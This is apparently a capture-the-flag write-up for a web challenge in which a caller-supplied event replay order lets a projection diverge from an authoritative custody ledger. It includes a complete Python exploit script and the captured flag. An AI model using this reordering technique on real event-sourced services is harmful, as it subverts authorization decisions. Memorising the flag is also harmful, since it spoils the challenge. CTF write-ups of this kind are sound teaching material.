Web Exploitation / Pinaka CTF 2026
MayaMriga: Golden Deer Custody
Reorder a projection’s event replay to diverge from the authoritative custody ledger and influence the capture decision.
Bug
The authoritative fold processes committed events in sequence order and matches each release to its claim by correlation ID. The live board replays events in a caller supplied order and compensates claims by position. /capture trusts the board.
The warden's seal-jatayu claim is the oldest authoritative claim. Our claim and matching release cancel each other in the authoritative fold, so the warden remains its holder. In the projection, we can place releases immediately after other claims. Those claims are removed positionally, while our released claim survives. The board then names our ranger as the oldest surviving claimant.
Exploit
- Enroll a ranger, then create a claim and release it. Save the claim event ID and sequence number.
- Read
/forest/log. There must be at least one release event for every claim older than ours. On a clean instance, our own release is enough to compensate the warden's seal. If the shared log has more older claims, create additional claim/release pairs after our claim to supply releases. - Build a permutation of every committed event ID: alternate each older claim with a release; place unused releases next; place our claim next; place all newer claims last.
- Submit that order to
/projection/sync, then immediately call/capture. Retry the sync if another writer appends an event between reading the log and submitting the permutation.
import json
import urllib.error
import urllib.request
BASE = "http://130.210.48.10:9005"
def api(path, data, method="POST"):
request = urllib.request.Request(
BASE + path,
data=json.dumps(data, separators=(",", ":")).encode(),
headers={"Content-Type": "application/json"},
method=method,
)
try:
response = urllib.request.urlopen(request, timeout=20)
except urllib.error.HTTPError as error:
response = error
with response:
return json.load(response)
enrollment = api("/ranger/enroll", {})
token = enrollment["token"]
ranger = enrollment["ranger"]
claim = api("/track/claim", {"token": token})["event"]
api("/track/release", {"token": token, "corr": claim["corr"]})
while True:
events = api("/forest/log", {"token": token}, "GET")["events"]
older = [e["eid"] for e in events if e["type"] == "claim" and e["seq"] < claim["seq"]]
releases = [e["eid"] for e in events if e["type"] == "release"]
if len(releases) < len(older):
# These events are newer than our target claim, so they only add releases
# to the pool used to compensate older claims in the projection.
for _ in range(len(older) - len(releases)):
extra = api("/track/claim", {"token": token})["event"]
api("/track/release", {"token": token, "corr": extra["corr"]})
continue
newer = [
e["eid"] for e in events
if e["type"] == "claim" and e["eid"] != claim["eid"]
and e["seq"] > claim["seq"]
]
order = []
for older_claim, release in zip(older, releases):
order.extend((older_claim, release))
order.extend(releases[len(older):])
order.append(claim["eid"])
order.extend(newer)
synced = api("/projection/sync", {"token": token, "order": order})
if not synced.get("accepted"):
continue # The committed log changed; rebuild the complete permutation.
if synced["board_holder"] != ranger:
raise RuntimeError(f"Unexpected board holder: {synced['board_holder']}")
print(api("/capture", {"token": token}))
breakResult
The accepted replay showed ranger-61b338 on the board while the authoritative fold still showed warden-jatayu. /capture returned:
PINAKA{maricha_golden_deer_projection_reveals_the_captor}